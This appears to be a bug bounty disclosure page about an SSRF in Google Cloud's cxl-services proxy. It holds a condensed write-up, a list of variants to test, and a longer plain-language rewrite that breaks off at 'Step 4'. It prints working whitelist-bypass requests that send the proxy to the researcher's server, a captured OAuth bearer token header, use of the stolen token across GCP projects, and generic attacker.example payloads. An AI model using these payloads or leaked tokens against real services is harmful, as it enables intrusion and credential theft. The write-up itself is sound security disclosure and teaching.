Fixing the Unfixable: Story of a Google Cloud SSRF
Published on bugs.xdavidhu.me
The post you are reading right now is the write-up I am nominating for the 2021 GCP VRP Prize. The deadline is Dec.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
## Context
While looking for interesting Google APIs, preferably ones used internally by Google, I came across `jobs.googleapis.com`. At first it looked like a private API for managing Google's own job listings, but it turned out to be a Google Cloud product sold to customers: the "Cloud Talent Solution" API. It is aimed mainly at companies building job search websites, helping them search their available job listings. Google's own careers.google.com appears to be built on something very similar.
Every GCP product has a product page that summarises what the product is for, showcases key features, and sometimes includes interactive demos. The Cloud Talent Solution page had such a demo, showing the features of the `jobs` API by making hardcoded job search requests in real time.
{{media:1}}
Looking at the HTTP requests the page made, the demo was not loading data directly from the `jobs` API. It went through a proxy on `cxl-services.appspot.com`:
```http
POST /proxy?url=https%3A%2F%2Fjobs.googleapis.com%2Fv4%2Fprojects%2F4808913407%2Ftenants%2F%0A++++++ff8c4578-8000-0000-0000-00011ea231ff%2Fjobs%3Asearch HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close
{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}
```
The `.appspot.com` ending identifies it as a Google App Engine app. It proxied these requests to the real `jobs` API and returned the response. This was needed because calling the `jobs` API normally requires some kind of authentication, which the proxy added to the request before forwarding it:
{{media:2}}
Why not hardcode credentials into the demo and call `jobs` directly? Most probably for abuse protection: the `cxl-services` proxy can enforce rate limiting and other defences, whereas shipping the credentials would let anyone call the API without limits.
## Setup
The tools were a webserver on a $5 VPS to receive proxied requests and a Python HTTPS server run in `--verbose` mode to see the full incoming request including headers. Later, the stolen OAuth access token was used to call Google Cloud APIs, and a small Python and Flask application was deployed to App Engine.
## Finding it
The `/proxy` endpoint expects a `url` parameter, which in the demo is the URL of the `jobs` API:
```text
https://cxl-services.appspot.com/proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search
```
A service that fetches an attacker-supplied URL is a warning sign for Server-side Request Forgery (SSRF): the attacker may be able to make the application send requests to any URL. The first question was whether a request could really be proxied to any URL. I started a webserver on my VPS and set its URL as the `url` parameter:
{{media:3}}
It was not that easy. `cxl-services` employs some kind of whitelist, only allowing specific URLs to be proxied, such as the `jobs` API.
Some background on `cxl-services`: it is not just for the `jobs` API. As far as I know, all of the interactive product page demos proxy their requests through it, so it allows proxying multiple different URLs. I had crossed paths with `cxl-services` before this research but had never been able to break the whitelist.
An example of which URLs are allowed and which are denied:
```text
https://sfmnev.vps.xdavidhu.me/ - ❌
https://xdavid.googleapis.com/ - ❌
https://jobs.googleapis.com/ - �
https://jobs.googleapis.com/any/path - �
http://jobs.googleapis.com/any/path - �
https://jobs.googleapis.com:443/any/path - �
https://jobs.googleapis.comx:443/any/path - ❌
https://texttospeech.googleapis.com/xdavid - �
```
If the hostname of the URL is trusted, like `jobs.googleapis.com`, the proxy allows it no matter what the other parts of the URL are. This implies that `cxl-services` does some kind of dynamic URL parsing: it extracts the hostname, validates it against the allow list, and if that succeeds, proxies the request to the initially provided URL. Parsing a URL is hard, and that is another warning sign.
The question became: can the URL parser be tricked into thinking the hostname is a whitelisted domain while the request is sent to a different host, such as my server? If the whitelist validation logic and the request sending logic parse the attacker-provided URL separately, slight differences between them might be exploitable.
After sending multiple requests trying to break the whitelist, I tried the *backslash-trick* from my previous writeup, "The unexpected Google wide domain check bypass". In short, it exploits a minor difference between two URL specifications: the WHATWG URL Standard and RFC3986. RFC3986 is a generic, multi-purpose specification for the syntax of Uniform Resource Identifiers, while the WHATWG URL Standard is aimed specifically at the Web and at URLs, which are a subset of URIs. Modern browsers implement the WHATWG URL Standard.
Both describe a way of parsing URIs and URLs, with one slight difference. The WHATWG specification describes one extra character, the `\`, which behaves just like `/`: it ends the hostname and authority and starts the path of the URL.
{{media:4}}
## Exploitation
### Step 1: bypass the whitelist with a backslash
I tried the backslash-trick on `cxl-services`, hoping the whitelist validator and the request sending logic would parse the same URL differently.
Request:
```http
GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com
```
Response:
```http
HTTP/1.1 200 OK
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
X-Cloud-Trace-Context: [redacted]
Date: Mon, 23 Mar 2020 21:28:07 GMT
Server: Google Frontend
Content-Length: 35
Hello from xdavidhu's webserver! :)
```
It worked. `cxl-services` thought the URL was trusted, sent a request to my webserver, and forwarded the response back to me. The whitelist validator most probably parsed the URL using the RFC3986 instructions and thought everything before the `@` was the userinfo section of the URL. When the request was being sent, the HTTP library's URL parser noticed that, because the `\` in the WHATWG specification ends the hostname and authority, the host it needed to send the request to was `sfmnev.vps.xdavidhu.me`:
{{media:5}}
### Step 2: capture the access token
As discussed, `cxl-services` had to authenticate to the `jobs` API to proxy the demo requests. Setting my simple Python HTTPS server into `--verbose` mode and making `cxl-services` request it again showed the whole request arriving at my webserver, including all headers:
```text
xdavid@scannr:~/webserver$ sudo httpsserver --verbose
[verbose] Verbose mode enabled.
[+] Starting server. URL: https://sfmnev.vps.xdavidhu.me/
[verbose]
('[redacted]', 44083)
[I] Reverse DNS failed.
Host: sfmnev.vps.xdavidhu.me
content-type: application/json
authorization: Bearer ya29.c.KnT2B01b-[redacted]([redacted]-[redacted]-ZngZec081
X-Cloud-Trace-Context: 5989e540147Sof691f39a0183161639/7393502370317147947
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Python-httplib2/0.14.0 (gzip) AppEngine-Google; (http://code.google.com/appengine; appid: s~cxl-services)
Accept-Encoding: gzip,deflate,br
[redacted] - - [22/Mar/2021 17:23:29] code 404, message File not found
[redacted] - - [22/Mar/2021 17:23:29] "GET /@jobs.googleapis.com/ HTTP/1.1" 404 -
```
`cxl-services` sets the `authorization` header to an access token on every outgoing request to authenticate to the `jobs` and other APIs. Because the whitelist was tricked, it also sent an access token to my malicious web server.
### Step 3: use the stolen token
The token was an OAuth 2.0 access token with the identity of, most probably, the `cxl-services` App Engine service account. With it, Google Cloud APIs could be called in the name of `cxl-services`, with all of its privileges.
The next question was whether this identity had access to GCP resources other than the `jobs` API, such as VMs or storage buckets. In the Amazon AWS universe this would be much easier. In Google Cloud you cannot ask *"what do I have access to?"*; you can only go to resources one by one and ask *"do I have access to **this?**"*. Dylan Ayrey and Allison Donovan have made an awesome talk about this behaviour.
The best I could do was start "brute-forcing": calling different APIs with the stolen access token to see whether I had access to any resources. A warning: be careful and document your actions if you decide to use stolen credentials. There is a line in bug bounties that we should not cross. I could have reported the issue as-is, but I wanted to look around to prove that access to this identity is indeed impactful. I asked the Google team for permission before performing any data-modifying actions.
Calling the `projects.list` method of the Resource Manager API, I found 4 GCP projects that this identity had some level of access to:
- `docai-demo`
- `cxl-services` (where the proxy was running)
- `garage-staging`
- `p-jobs`
Listing the Compute Engine VMs, I found two machines on the `docai-demo` project, which looked like they were part of a Google Kubernetes Engine cluster:
- `gke-cluster-1-default-pool-af71d616-j454` (`[redacted]`)
- `gke-cluster-1-default-pool-af71d616-stj9` (`[redacted]`)
Looking at the `cxl-services` project, where the target proxy was running, I found:
- A Cloud Storage bucket called `cxl-services.appspot.com`, which had hourly log files of all of the requests the `cxl-services` App Engine app had ever received, since 2017-10-18 up until today. These files could have contained sensitive data of users interacting with the product page demos.
- Some interesting internal details, such as file paths from Google's internal code mono-repository `google3`, by listing the versions of the App Engine app: `google3/cloud/ux/services/services/proxy.py`
- Another bucket called `us.artifacts.cxl-services.appspot.com`, used by App Engine, which included container images of the `cxl-services` proxy. These images could have been reversed to get access to the source code.
### Step 4: deploy code to App Engine
Last but not least, I wrote a very simple web application using Python and Flask that returned a base64 encoded string saying `POC by xdavidhu!`. After some struggle and panicking, I managed to deploy this little application as a new App Engine service on `cxl-services.appspot.com`, demonstrating full code execution access to the App Engine app. An RCE, if you will.
This new service was invokable using the URL `https://vrp-poc-dot-cxl-services.appspot.com/`. After deploying the code, I opened it in a browser and saw:
{{media:6}}
It was my code, running in an internal Google Cloud project's App Engine app. At that point I reported all of my findings and stopped exploring further.
The Google VRP panel rewarded this issue with a bounty of $3133.70 plus a $1000 bonus for "the well written report and documenting lateral movement".
### Step 5: bypass the fix
Since I had a 90-day public disclosure deadline a few days before the disclosure date, I started preparing the feed post and the YouTube video. Looking at the issue report, I wanted to test the fix.
Google had indeed fixed the issue from the original report, in which I used the `\@` characters to construct a URL that bypasses the whitelist, such as:
```text
https://[your_domain]\@jobs.googleapis.com
```
But playing around with the parser for a few minutes and putting random characters in the URL, I found something. If I put any character or characters in between the `\` and the `@`, I was able to bypass the whitelist once again:
```text
https://sfmnev.vps.xdavidhu.me\[redacted]/
```
Finding this took literally a few minutes of playing with the proxy, and it resulted in getting the original bug bounty reward amount once again. It was quite insane. So, check your fixes.
On Google VRP you do not have to wait until your issue moves into `fixed` status. If you find that the code has changed but you can still exploit it, write a comment on the original ticket and you might get another reward.
### Step 6: invoke an old, unpatched version
After Google fixed the bypass and I disclosed the bug, I still had my YouTube video planned. I had hours of unedited screen recordings on my computer. In April I opened them in Final Cut and started cutting them together.
In the recordings, when I listed the versions of the `cxl-services` App Engine app, there were multiple results, each indicating a specific version of the proxy:
{{media:7}}
I remembered that in App Engine, using a specific URL, any version of any service can be invoked:
```text
https://VERSION-dot-SERVICE-dot-cxl-services.appspot.com
```
To fix the issue, the product team must have pushed out a new version to the `default` service, which was the proxy. But had they left the old versions there? I tried calling the old `b347699687-dev-gokulr` version, which I got from the screen recording, of the `default` service, using the original `\@` whitelist bypass:
```text
https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/
```
And indeed, it worked. My web server received a request with an access token in the `authorization` header. It was still exploitable. Even though the proxy version I called was old, it worked the same way: it still generated an access token and, most importantly, it did not have the original vulnerability patched yet.
Once again, the Google VRP panel rewarded this second bypass as well. So, check your fixes, of your fixes.
## Root cause
The proxy validated the hostname of the attacker-supplied `url` parameter and then fetched the same URL, but the two steps parsed the URL with different rules. The whitelist validator most probably followed RFC3986, where everything before the `@` is the userinfo section, so the hostname it saw was `jobs.googleapis.com`. The HTTP library that sent the request followed the WHATWG URL Standard, where `\` ends the hostname and authority just like `/`, so the host it connected to was `sfmnev.vps.xdavidhu.me`. The allow list was therefore checked against one host while the request went to another.
The same mismatch also leaked the proxy's authentication: the `authorization` header with the service account's OAuth 2.0 access token was attached to every outgoing request, including the one sent to the attacker's server.
The first fix addressed the exact `\@` sequence but not the general parsing difference, so inserting any characters between the `\` and the `@` bypassed it again. The product team must have pushed out a new version to the `default` service, but old App Engine versions of that service remained reachable through the `VERSION-dot-SERVICE-dot-cxl-services.appspot.com` routing, and those versions still contained the original vulnerability.
## Impact
An attacker who could reach the `/proxy` endpoint could make `cxl-services` send requests to an arbitrary host of their choosing, and receive the response. Because the proxy attached its own OAuth 2.0 access token to outgoing requests, the attacker obtained that token and could call Google Cloud APIs with the identity and privileges of the `cxl-services` App Engine service account.
With that identity, the researcher found some level of access to 4 GCP projects (`docai-demo`, `cxl-services`, `garage-staging`, `p-jobs`), two GKE cluster VMs on `docai-demo`, a Cloud Storage bucket holding hourly request logs of the proxy since 2017-10-18, internal `google3` file paths via the App Engine versions listing, and an App Engine bucket with container images of the proxy that could have been reversed. The researcher also deployed a new App Engine service to `cxl-services.appspot.com`, demonstrating code execution in the project. The report notes that the log files could have contained sensitive data of users interacting with the product page demos.
## Fix
Google fixed the original `\@` bypass, and after the researcher found the variant with characters between `\` and `@`, fixed that as well. The report does not describe the code changes. The old-version issue shows that fixing only the `default` service was not enough: old App Engine versions of the service were still reachable and still vulnerable, so the fix needs to cover every deployed version, or the old versions need to be removed.
## Variants to test
1. **Backslash and userinfo confusion.** On any proxy that takes a `url` parameter and checks a hostname allow list, try `https://attacker.example\@allowed.example/`. A positive result is a response from your own server instead of the allowed host.
2. **Characters between the separator and `@`.** If `\@` is blocked, try `https://attacker.example\[redacted]/`. A positive result is the same: your server receives the request.
3. **Old deployment versions.** List the versions of the service (for App Engine, the versions listing) and call each one through `https://VERSION-dot-SERVICE-dot-cxl-services.appspot.com`. A positive result is an old version still honouring the original bypass.
4. **Credential leakage.** Point the proxy at your own server and inspect the incoming headers for `authorization` or other credentials. A positive result is a bearer token or API key arriving at your host.
5. **Other URL parser differences.** Test other characters and encodings that the WHATWG standard and RFC3986 treat differently, and compare what the validator sees with what the HTTP client connects to. A positive result is a request reaching a host that is not on the allow list.
{{media:8}}
{{media:9}}
## What happened, in plain words
A Google website had a small helper service that fetched web pages on the visitor's behalf. You gave it a web address, and it went and got the page for you. The catch was that it was only supposed to fetch pages from a short list of Google addresses. By writing one web address in a slightly unusual way, the researcher made the helper believe it was fetching from an approved Google address, while in reality it fetched from the researcher's own server. Because the helper also attached a secret login token to every request it made, the researcher received that token too. With the token, the researcher could look around Google's cloud systems, find a bucket of request logs, and even run their own code inside one of Google's internal projects. Google fixed the problem, the researcher found a way around the fix, and the researcher then found that an old copy of the service was still online and still vulnerable. Google paid a bounty of $3133.70 plus a $1000 bonus.
This post is the write-up the researcher nominated for the 2021 GCP VRP Prize. The raw bug report it is based on is at feed.bugs.xdavidhu.me. There is also a one and a half hour deep-dive YouTube video reacting to the screen recordings of finding and exploiting the bug:
[{{media:0}}](https://youtu.be/UyemBjyQ4qA)
## Chapter 1: the proxy
### What an API is
Before anything else, a word about APIs. An API (Application Programming Interface) is a way for one computer program to ask another computer program to do something. Think of a restaurant: you do not walk into the kitchen and cook; you tell the waiter what you want, the waiter takes your order to the kitchen, and brings back a plate. The API is the waiter and the menu. You send a request in a fixed format, and you get a response back in a fixed format. Websites and apps use APIs constantly: when a page shows you a list of jobs, a weather forecast or your messages, it is usually asking an API behind the scenes.
While looking for interesting Google APIs, preferably ones used internally by Google, the researcher came across `jobs.googleapis.com`. At first it looked like a private API for managing Google's own job listings. It turned out to be a Google Cloud product sold to customers: the "Cloud Talent Solution" API. It is aimed mainly at companies building job search websites, helping them search their available job listings. Google's own careers.google.com appears to be built on something very similar.
### The product page and its demo
Every GCP product (GCP means Google Cloud Platform, Google's collection of rented computing services) has a product page. These pages summarise what the product is for, showcase key features, and sometimes include interactive demos. The Cloud Talent Solution page had such a demo, showing the features of the `jobs` API by making hardcoded job search requests in real time. "Hardcoded" means the searches are fixed in the page's code: the demo is not really searching anything you type, it just replays a few prepared examples.
{{media:1}}
The screen recording shows the demo on the Cloud Talent Solution product page, making its job search requests live.
### Following the requests
Every browser has developer tools, usually opened with F12 or by right-clicking and choosing "Inspect". One of the tabs shows every request the page makes. Looking at the HTTP requests the page made, the demo was not loading data directly from the `jobs` API. It went through a proxy on `cxl-services.appspot.com`:
```http
POST /proxy?url=https%3A%2F%2Fjobs.googleapis.com%2Fv4%2Fprojects%2F4808913407%2Ftenants%2F%0A++++++ff8c4578-8000-0000-0000-00011ea231ff%2Fjobs%3Asearch HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close
{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}
```
Line by line, in plain words:
- `POST /proxy?url=... HTTP/1.1` is the first line of an HTTP request. HTTP is the language browsers and servers speak. `POST` is the method, meaning "here is some data for you". `/proxy` is the path on the server being asked. Everything after the `?` is the query string, a set of named values; here there is one named `url`, and its value is the long encoded address that follows. `HTTP/1.1` is the version of the protocol.
- The `url` value is URL-encoded. In a URL, characters like `:` and `/` have special meanings, so when one URL is placed inside another, those characters are written as `%3A` (colon), `%2F` (slash) and so on. Decoded, it reads `https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search`. The `%0A` and the `+` signs are a newline and spaces that ended up in the middle of the address.
- `Host: cxl-services.appspot.com` tells the server which website name the browser was trying to reach. One physical server can host many websites, and this header says which one is wanted.
- `User-Agent` identifies the browser and operating system. Here it is Firefox 95 on macOS 10.15.
- `Content-Type: application/json; charset=utf-8` says the body of the request is JSON, a common text format for structured data, encoded in UTF-8 (a way of representing characters as bytes).
- `Content-Length: 102` says the body is 102 bytes long, so the server knows when it has read all of it.
- `Connection: close` asks the server to close the network connection after answering.
- After the blank line comes the body: `{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}`. This is the actual search: the word `bartendar` (a misspelling of bartender, which is why the demo's results look a bit odd), the language `en` for English, a small view of each job, and at most 5 results.
The `.appspot.com` ending identifies the proxy as a Google App Engine app. App Engine is Google's service for running web applications without managing servers yourself; every app gets an address ending in `.appspot.com`. The proxy forwarded these requests to the real `jobs` API and returned the response. This was needed because calling the `jobs` API normally requires some kind of authentication, which the proxy added to the request before forwarding it:
{{media:2}}
The diagram shows the browser talking to `cxl-services`, which adds some kind of authentication to the request before passing it on to the real API.
Why not hardcode credentials into the demo and call `jobs` directly? Most probably for abuse protection: the `cxl-services` proxy can enforce rate limiting and other defences, whereas shipping the credentials inside a public web page would let anyone call the API without limits. Rate limiting means refusing to answer after too many requests in a short time, the way a shop might serve only a few customers per minute to stop one person buying everything.
### The warning sign
The `/proxy` endpoint expects a `url` parameter, which in the demo is the URL of the `jobs` API:
```text
https://cxl-services.appspot.com/proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search
```
This is the same request as above, written as a plain address you could paste into a browser. The part after `?url=` is the address the proxy is being asked to fetch.
A service that fetches an address supplied by the visitor is a warning sign for Server-side Request Forgery, or SSRF. "Server-side" means the request is made by the server, not by your browser. "Request Forgery" means the attacker is forging, that is faking, a request that the server then makes on their behalf. The everyday comparison: imagine a hotel concierge who will phone any number you give them and read you back the answer. If you give them the number of the hotel's own safe room, you have just used the concierge to reach somewhere you were never allowed to go. The attacker may be able to make the application send requests to any address, including addresses the attacker cannot reach directly.
### First attempt: can we fetch anything?
The first question was whether a request could really be proxied to any address. The researcher started a webserver on a cheap VPS (a virtual private server, a rented computer on the internet, here costing $5 a month) and set its address as the `url` parameter:
{{media:3}}
It was not that easy. `cxl-services` employs some kind of whitelist, only allowing specific addresses to be proxied, such as the `jobs` API. A whitelist (also called an allow list) is the opposite of a blacklist: instead of naming what is forbidden, it names exactly what is permitted, and everything else is refused.
Some background on `cxl-services`: it is not just for the `jobs` API. As far as the researcher knows, all of the interactive product page demos proxy their requests through it, so it allows proxying multiple different addresses. The researcher had crossed paths with `cxl-services` before this research but had never been able to break the whitelist.
An example of which addresses are allowed and which are denied:
```text
https://sfmnev.vps.xdavidhu.me/ - ❌
https://xdavid.googleapis.com/ - ❌
https://jobs.googleapis.com/ - �
https://jobs.googleapis.com/any/path - �
http://jobs.googleapis.com/any/path - �
https://jobs.googleapis.com:443/any/path - �
https://jobs.googleapis.comx:443/any/path - ❌
https://texttospeech.googleapis.com/xdavid - �
```
Reading this list:
- The first two are refused: the researcher's own server, and a made-up Google-looking name that is not on the list.
- `https://jobs.googleapis.com/` is allowed, and so is any path after it. A path is the part after the hostname, like `/any/path`.
- `http://jobs.googleapis.com/any/path` is allowed too, even though it uses `http` instead of `https`. HTTPS is HTTP with encryption; HTTP alone is not encrypted. The whitelist apparently does not care about that difference.
- `https://jobs.googleapis.com:443/any/path` is allowed. The `:443` is a port number. A port is like a numbered door on a building: one computer can run many services, each listening on its own door. 443 is the standard door for HTTPS.
- `https://jobs.googleapis.comx:443/any/path` is refused. Note the extra `x`: the hostname is now `jobs.googleapis.comx`, a completely different name, even though it starts with the trusted one. This shows the check is not a naive "does the text start with jobs.googleapis.com" test.
- `https://texttospeech.googleapis.com/xdavid` is allowed, confirming that several Google APIs are on the list.
If the hostname of the address is trusted, like `jobs.googleapis.com`, the proxy allows it no matter what the other parts of the address are. This implies that `cxl-services` does some kind of dynamic URL parsing: it extracts the hostname, validates it against the allow list, and if that succeeds, proxies the request to the initially provided address. Parsing an address is hard, and that is another warning sign. Parsing here means taking a piece of text and working out its parts: which bit is the hostname, which bit is the path, which bit is a username, and so on.
### The idea
The question became: can the address parser be tricked into thinking the hostname is a whitelisted domain while the request is sent to a different host, such as the researcher's server? If the whitelist validation logic and the request sending logic parse the visitor-supplied address separately, slight differences between them might be exploitable. In other words: if two different programs read the same sentence and understand two different things, you can write a sentence that means "safe" to the guard and "dangerous" to the delivery driver.
After sending multiple requests trying to break the whitelist, the researcher tried the *backslash-trick* from a previous writeup, "The unexpected Google wide domain check bypass". In short, it exploits a minor difference between two address specifications: the WHATWG URL Standard and RFC3986. A specification is a written rulebook describing exactly how something must behave. RFC3986 is a generic, multi-purpose specification for the syntax of Uniform Resource Identifiers, while the WHATWG URL Standard is aimed specifically at the Web and at URLs, which are a subset of URIs. Modern browsers implement the WHATWG URL Standard.
Both describe a way of parsing URIs and URLs, with one slight difference. The WHATWG specification describes one extra character, the `\`, which behaves just like `/`: it ends the hostname and authority and starts the path of the address. The backslash is the `\` character, the one above the Enter key on many keyboards. The "authority" is the part of an address that identifies the server, normally the hostname plus an optional port.
{{media:4}}
The diagram shows the two specifications parsing the same address differently, because of the extra `\` character in the WHATWG standard.
## Exploitation
### Step 1: bypass the whitelist with a backslash
The researcher tried the backslash-trick on `cxl-services`, hoping the whitelist validator and the request sending logic would parse the same address differently.
Request:
```http
GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com
```
Line by line:
- `GET /proxy?url=... HTTP/1.1` asks the proxy to fetch something. `GET` is the method used when you just want to retrieve something, with no data attached.
- The `url` value is `https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/`. This is the whole trick. It contains a backslash, then an `@`, then the trusted name.
- `Host: cxl-services.appspot.com` says which website is being asked.
Response:
```http
HTTP/1.1 200 OK
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
X-Cloud-Trace-Context: [redacted]
Date: Mon, 23 Mar 2020 21:28:07 GMT
Server: Google Frontend
Content-Length: 35
Hello from xdavidhu's webserver! :)
```
Line by line:
- `HTTP/1.1 200 OK` is the status line. `200` is the code for "everything went fine".
- `Cache-Control: no-cache` tells browsers and middlemen not to store a copy.
- `Access-Control-Allow-Origin: *` is a rule about which websites may read this response from a browser. The `*` means any website. This matters for browser-based cross-site requests.
- `Content-Type: text/plain; charset=utf-8` says the body is plain text.
- `X-Cloud-Trace-Context` is a Google header used to trace a request through internal systems. The `X-` prefix is a convention for custom headers that are not part of the core standard.
- `Date` is when the response was produced.
- `Server: Google Frontend` names the software that answered.
- `Content-Length: 35` says the body is 35 bytes.
- The body, `Hello from xdavidhu's webserver! :)`, is the researcher's own page. That is the proof: the proxy fetched the researcher's server, not Google's.
It worked. `cxl-services` thought the address was trusted, sent a request to the researcher's webserver, and forwarded the response back. The whitelist validator most probably parsed the address using the RFC3986 instructions and thought everything before the `@` was the userinfo section of the address. Userinfo is an optional username (and sometimes password) that can appear before the `@` in an address, like `[redacted]` in an email address. When the request was being sent, the HTTP library's address parser noticed that, because the `\` in the WHATWG specification ends the hostname and authority, the host it needed to send the request to was `sfmnev.vps.xdavidhu.me`:
{{media:5}}
The diagram shows the two parsers inside `cxl-services` reading the exploit address: one sees the trusted name, the other sees the researcher's server.
So the guard read the address as "username `https://sfmnev.vps.xdavidhu.me\`, host `jobs.googleapis.com`" and let it through. The delivery driver read the same address as "host `sfmnev.vps.xdavidhu.me`, path `/@jobs.googleapis.com/`" and drove to the researcher's server.
### Step 2: capture the access token
As discussed, `cxl-services` had to authenticate to the `jobs` API to proxy the demo requests. Authentication means proving who you are. A token is a short piece of text that stands in for a password: instead of sending your password with every request, you send the token, and the server checks it. It is like a cloakroom ticket: whoever holds the ticket gets the coat, so a stolen ticket is as good as a stolen coat.
Setting the researcher's simple Python HTTPS server into `--verbose` mode and making `cxl-services` request it again showed the whole request arriving at the webserver, including all headers:
```text
xdavid@scannr:~/webserver$ sudo httpsserver --verbose
[verbose] Verbose mode enabled.
[+] Starting server. URL: https://sfmnev.vps.xdavidhu.me/
[verbose]
('[redacted]', 44083)
[I] Reverse DNS failed.
Host: sfmnev.vps.xdavidhu.me
content-type: application/json
authorization: Bearer ya29.c.KnT2B01b-[redacted]([redacted]-[redacted]-ZngZec081
X-Cloud-Trace-Context: 5989e540147Sof691f39a0183161639/7393502370317147947
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Python-httplib2/0.14.0 (gzip) AppEngine-Google; (http://code.google.com/appengine; appid: s~cxl-services)
Accept-Encoding: gzip,deflate,br
[redacted] - - [22/Mar/2021 17:23:29] code 404, message File not found
[redacted] - - [22/Mar/2021 17:23:29] "GET /@jobs.googleapis.com/ HTTP/1.1" 404 -
```
Line by line:
- `xdavid@scannr:~/webserver$ sudo httpsserver --verbose` is the command typed in a terminal. `xdavid` is the user, `scannr` the machine name, `~/webserver` the current folder, and `sudo` runs the command with administrator rights. `httpsserver` is the researcher's own small server program, and `--verbose` asks it to print everything it sees.
- `[verbose] Verbose mode enabled.` and `[+] Starting server. URL: https://sfmnev.vps.xdavidhu.me/` are the program's own messages confirming it is running and where.
- `('[redacted]', 44083)` is the address and port of the computer that connected. This is a Google machine, not the researcher's.
- `[I] Reverse DNS failed.` means the program tried to look up a human-readable name for that address and could not.
- `Host: sfmnev.vps.xdavidhu.me` is the website name the proxy asked for, which is the researcher's server.
- `content-type: application/json` says the request body is JSON.
- `authorization: Bearer ya29...` is the important line. `Authorization` is the standard header for proving identity. `Bearer` means "whoever bears (carries) this token is treated as the owner". The long string starting `ya29.` is the token itself. It is a secret and must be treated as one.
- `X-Cloud-Trace-Context` is Google's tracing header again.
- `Accept-Encoding: gzip, deflate` says which compression formats the sender can handle, to save bandwidth.
- `Connection: keep-alive` asks to keep the network connection open for further requests.
- `User-Agent: Python-httplib2/0.14.0 (gzip) AppEngine-Google; (http://code.google.com/appengine; appid: s~cxl-services)` identifies the software making the request: a Python HTTP library called httplib2, running on Google App Engine, for the app `cxl-services`. This is a strong hint about what is on the other side.
- `Accept-Encoding: gzip,deflate,br` appears a second time, listing compression formats again, this time including `br` (Brotli).
- The last two lines are the server's access log: a request arrived, the server answered `404` (not found, because there is no such file), and the requested path was `GET /@jobs.googleapis.com/`. That path is exactly what the WHATWG parser thought the path was, confirming the story.
`cxl-services` sets the `authorization` header to an access token on every outgoing request to authenticate to the `jobs` and other APIs. An access token is a temporary credential, like a day pass rather than a permanent staff badge. Because the whitelist was tricked, it also sent an access token to the researcher's malicious webserver.
### Step 3: use the stolen token
The token was an OAuth 2.0 access token with the identity of, most probably, the `cxl-services` App Engine service account. OAuth 2.0 is a widely used system for granting apps limited access to resources without sharing passwords. A service account is a non-human account: an identity that belongs to a program rather than a person, so that the program can be given permissions of its own. With the token, Google Cloud APIs could be called in the name of `cxl-services`, with all of its privileges.
The next question was whether this identity had access to GCP resources other than the `jobs` API, such as VMs or storage buckets. A VM (virtual machine) is a computer running inside a bigger computer, rented by the hour. A storage bucket is a named container for files in the cloud, like a folder that lives on the internet.
In the Amazon AWS universe this would be much easier. In Google Cloud you cannot ask *"what do I have access to?"*; you can only go to resources one by one and ask *"do I have access to **this?**"*. Dylan Ayrey and Allison Donovan have made an awesome talk about this behaviour.
The best the researcher could do was start "brute-forcing": calling different APIs with the stolen token to see whether there was access to any resources. Brute-forcing means trying things one after another, systematically, rather than being clever. A warning: be careful and document your actions if you decide to use stolen credentials. There is a line in bug bounties that we should not cross. The researcher could have reported the issue as-is, but wanted to look around to prove that access to this identity is indeed impactful. Permission was asked from the Google team before performing any data-modifying actions.
Calling the `projects.list` method of the Resource Manager API, the researcher found 4 GCP projects that this identity had some level of access to:
- `docai-demo`
- `cxl-services` (where the proxy was running)
- `garage-staging`
- `p-jobs`
A project in Google Cloud is the top-level container for resources: it groups together the machines, buckets and services that belong to one thing. `projects.list` is simply the API call that asks "which projects can I see?".
Listing the Compute Engine VMs, the researcher found two machines on the `docai-demo` project, which looked like they were part of a Google Kubernetes Engine cluster:
- `gke-cluster-1-default-pool-af71d616-j454` (`[redacted]`)
- `gke-cluster-1-default-pool-af71d616-stj9` (`[redacted]`)
Compute Engine is Google's service for renting VMs. Kubernetes is a system for running many containers across many machines; a container is a lightweight, packaged application with everything it needs to run. The names starting `gke-cluster-1-default-pool-` are the automatic names Kubernetes gives to machines it creates.
Looking at the `cxl-services` project, where the target proxy was running, the researcher found:
- A Cloud Storage bucket called `cxl-services.appspot.com`, which had hourly log files of all of the requests the `cxl-services` App Engine app had ever received, since 2017-10-18 up until today. These files could have contained sensitive data of users interacting with the product page demos.
- Some interesting internal details, such as file paths from Google's internal code mono-repository `google3`, by listing the versions of the App Engine app: `google3/cloud/ux/services/services/proxy.py`
- Another bucket called `us.artifacts.cxl-services.appspot.com`, used by App Engine, which included container images of the `cxl-services` proxy. These images could have been reversed to get access to the source code.
A log file is a running record of what a program did, like a diary. A mono-repository (monorepo) is one giant code repository holding the code of many projects together; `google3` is the name of Google's. A container image is the packaged bundle from which a container is started, and it can be unpacked and examined, which is what "reversed" means here: taking the finished package apart to see how it was built.
### Step 4: deploy code to App Engine
